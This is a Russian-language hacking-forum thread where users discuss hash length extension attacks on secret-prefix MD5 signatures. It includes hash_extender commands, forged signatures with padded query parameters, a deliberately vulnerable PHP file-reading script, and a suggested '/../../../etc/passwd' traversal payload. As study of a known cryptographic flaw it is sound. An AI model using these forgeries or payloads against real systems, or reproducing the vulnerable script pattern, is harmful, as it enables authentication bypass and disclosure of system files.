Старый 30.11.2013, 12:55   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию Hash length extension attacks

В ситуациях, когда сервер формирует и проверяет хэш, в котором присутствует секретная строка, пользователь, не зная этой строки, может создать другой хэш большей длины, в котором также будет эта секретная строка.

Полезно, если сервер хранит в сессии/куках что-то похожее на hash($secretkey . $userpasswd . "|" . $isadmin)
Имея на руках значение хэша, структуру хэша и длину secretkey (посмотреть сорцы приложения или перебором), можно воспризвести хэш вида hash($secretkey . $userpasswd . "|" . $isadmin . PADDING . $what-we-want).

Код:
Уязвимы:
    MD4
    MD5
    RIPEMD-160
    SHA-0
    SHA-1
    SHA-256
    SHA-512
    WHIRLPOOL
Не уязвимы:  MD2, SHA-224, SHA-384
http://blog.skullsecurity.org/2012/e...ension-attacks
http://www.vnsecurity.net/t/length-extension-attack/
https://blog.whitehatsec.com/hash-le...nsion-attacks/

Выглядит примерно так.
Пусть $secretkey = 'MEGAkey', пароль passwd.
Тогда md5($secretkey . $userpasswd) = md5('MEGAkeypasswd') = 560251f90d7828598bda2ab172db4933
Изменим хэш так, чтобы оканчивался на 'crazy'.

Код:
/tmp/hash_extender-master$ ./hash_extender --data passwd --secret 7 --append crazy --signature 560251f90d7828598bda2ab172db4933

Type: md5
Secret length: 7
New signature: a8f8f96d98d9374c35008d5f8e30dd66
New string: 7061737377648000000000000000000000000000000000000000000000000000000000000000000000000000000000000068000000000000006372617a79

/tmp/hash_extender-master$ perl -e 'print "MEGAkey\x70\x61\x73\x73\x77\x64\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x00\x00\x63\x72\x61\x7a\x79"' | hexdump -C
00000000  4d 45 47 41 6b 65 79 70  61 73 73 77 64 80 00 00  |MEGAkeypasswd...|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000030  00 00 00 00 00 00 00 00  68 00 00 00 00 00 00 00  |........h.......|
00000040  63 72 61 7a 79                                    |crazy|
/tmp/hash_extender-master$ perl -e 'print "MEGAkey\x70\x61\x73\x73\x77\x64\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x00\x00\x63\x72\x61\x7a\x79"'|md5sum
a8f8f96d98d9374c35008d5f8e30dd66  -
SynQ вне форума   Ответить с цитированием
Старый 30.11.2013, 21:26   #2
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Всем привет

Давайте разбираться, вот накатал небольшой скриптец для теста этой уязы, прикол в том, что у меня не работает сама уязвимость, может быть что-то не так делаю?

Итак, у нас есть скрипт test.php, код которого ниже, + в этой же папке лежит ./hash_extender с правами на исполнение

взять hash_extender можно тут https://github.com/iagox86/hash_extender

потом просто запустить

makefile

test.php

PHP код:
<pre>
<?php
$secretkey
='MEGAkey';
$file $_GET['1'];
$salt $_GET['mac'];
$wsult=md5($secretkey $file);
if(
$salt==md5($secretkey $file)){
        echo 
htmlspecialchars(file_get_contents($_GET['1']));
        exit;
} else echo 
"CHEATER!\n\n\n";
echo 
"\n Wright md5-hash(".$secretkey $file.")  for file [$file]:<b>[" md5($secretkey $file). "]</b>\n";
exit;
?>
что делает php срипт - ему передаются два параметра через $_GET, 1 и mac, в 1 - имя файла на чтение, в mac - некий идентификатор, который позволит прочитать указанный файл, если этот идентификатор будет равен

md5($secretkey . $file);

где $secretkey='MEGAkey', а $file прилетает из $_GET['1'];

при обращении к сприпту весь процесс виден, и выдается типо правильный идентификатор, даже если мы не знаем ключа, пример работы скрипта:

http://localhost/test.php?1=passwd&mac=a8f8f96d98d9374c35008d5f8e30 dd66

Код:
~$:./hash_extender --data passwd --secret 7 --append crazy --signature 560251f90d7828598bda2ab172db4933


New signature: a8f8f96d98d9374c35008d5f8e30dd66<======Вот это типо хеш, который сработает, если его поставить в mac?
New string: 7061737377648000000000000000000000000000000000000000000000000000000000000000000000000000000000000068000000000000006372617a79



~$:perl -e 'print "MEGAkey\x70\x61\x73\x73\x77\x64\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x00\x00\x63\x72\x61\x7a\x79"' | hexdump -C


00000000  4d 45 47 41 6b 65 79 70  61 73 73 77 64 80 00 00  |MEGAkeypasswd...|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000030  00 00 00 00 00 00 00 00  68 00 00 00 00 00 00 00  |........h.......|
00000040  63 72 61 7a 79                                    |crazy|
00000045
CHEATER!

Wright md5-hash(MEGAkeypasswd)  for file [passwd]:[560251f90d7828598bda2ab172db4933]
красным выделен предлагаемый новый идентификатор, зеленым - тот, что точно должен быть и который можно получить, только если знаешь $secretkey='MEGAkey';

так вот, подставляя красный - сгенирированный с помощью ./hash_extender идентификатор - в mac, файло так и не читается. В чем ошибка?

Последний раз редактировалось Pashkela; 30.11.2013 в 22:19..
Pashkela вне форума   Ответить с цитированием
Старый 30.11.2013, 21:40   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Pashkela, что ты делаешь? =) Ты запустил скрипт с параметрами из примера, а не со своими параметрами.

Это раз. А два -- это то, что такую уязвимость в пыхе проэксплуатировать не получится из-за нулл-байтов в паддинге.
Beched вне форума   Ответить с цитированием
Старый 30.11.2013, 21:43   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

а какая разница? Даже с параметрами из примера должно было написать

"не могу прочитать файл passwd, нет такого файла или каталога"

и потом, что мешает в $_GET подставлять свои параметры?

запустил с параметрами из примера, чтобы показать, что считается точно также, как у SynQ в первом посте, т.е. настроено все верно
Pashkela вне форума   Ответить с цитированием
Старый 30.11.2013, 22:01   #5
Beched
 
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
а какая разница? Даже с параметрами из примера должно было написать

"не могу прочитать файл passwd, нет такого файла или каталога"

и потом, что мешает в $_GET подставлять свои параметры?

запустил с параметрами из примера, чтобы показать, что считается точно также, как у SynQ в первом посте, т.е. настроено все верно
Пример:

Код:
$ ./hash_extender --data '' --secret 7 --append some_path --signature `php -r 'echo md5("MEGAkey");'`
Type: md4
Secret length: 7
New signature: 6d2b6b5f6aad70d96c211eae9a55863a
New string: 800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003800000000000000736f6d655f70617468

Type: md5
Secret length: 7
New signature: 47ae9e33245f70becd2dca8d57c40325
New string: 800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003800000000000000736f6d655f70617468
Параметры для скрипта (только закомментируй наркоманию эту с запуском hash_extender из пыха):

?1=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0 0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% 00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 8%00%00%00%00%00%00%00some_path&mac=47ae9e33245f70 becd2dca8d57c40325
Beched вне форума   Ответить с цитированием
Старый 01.12.2013, 09:20   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Чтения файла не получится, потому что $file становится другим, включая в себя весь этот padding из кучи нуль-байтов и прочего, а такого файла не существует, и значит file_get_contents() на нем не сработает.
Хотя возможно где-нибудь сработает через нормализацию, т.е. вместо crazy в конец добавить '/../../../etc/passwd' к примеру.
SynQ вне форума   Ответить с цитированием
Ответ

Метки
crypto, hash, padding

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot